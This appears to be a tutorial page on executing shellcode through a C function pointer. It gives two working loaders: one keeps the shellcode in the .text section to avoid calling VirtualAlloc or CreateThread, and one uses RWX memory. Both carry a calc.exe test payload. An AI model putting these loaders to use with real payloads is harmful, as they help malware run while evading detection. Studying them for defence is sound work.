Function Pointer (No API)

We can execute shellcode from a local process without relying on well-known Windows APIs like VirtualAlloc, CreateThread, or similar functions. To do this, you can use section pragma with the allocate declarator specifier. this tells the compiler to place the shellcode directly into the .text section of the PE, eliminating the need to allocate a RW (read-write) memory region specifically for storing the shellcode. by casting the array holding the shellcode as a function pointer and invoking it, you can execute the shellcode without calling CreateThread or similar APIs that are traditionally used for this purpose.

However, while this method allows shellcode execution, it is not generally recommended. Shellcode generated by tools like Msfvenom typically terminates the calling thread after execution. If the shellcode is executed via the function pointer method, the main thread becomes the calling thread, which results in the termination of the entire process once the shellcode finishes. Using a new thread to run the shellcode avoids this issue—once the shellcode completes, only the newly created worker thread terminates, preventing the process from exiting entirely.

Execution Flow:

  1. Store shellcode array in .text section

  2. Create a function pointer that points to the start of shellcode array.

  3. Call the function pointer to change execution direction to shellcode array

Code:

#pragma section(".text")

// benign calc.exe shellcode
__declspec(allocate(".text")) char goodcode[] ={
    0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
    0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
    0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
    0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
    0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
    0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
    0x99, 0xFF, 0xD7 };

int main()
{
// cast to function pointer and execute shellcode
    (*(void(*)())(&goodcode))();

    return 0;
}

((void()())(&goodcode))(); translates to this in simple syntax:

void (*func)();  // Define a function pointer that returns void and takes no arguments
func = (void(*)())goodcode;  // Cast 'goodcode' to a function pointer
func();  // Call the function

If we prefer not to store the shellcode in .text section, the same execution technique can be combined using Win API for memory allocation and copyin the shellcode. execution can still happen using function pointers.

#include <windows.h>
#pragma section(".text")

// benign calc.exe shellcode
const unsigned char shellcode[] ={
    0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
    0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
    0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
    0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
    0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
    0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
    0x99, 0xFF, 0xD7 };

int main()
{
    // allocate memory, copy and execute shellcode using function pointer
    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
    return 0;
}

Code Samples

Code snippets are available on GitHub:

Last updated

Was this helpful?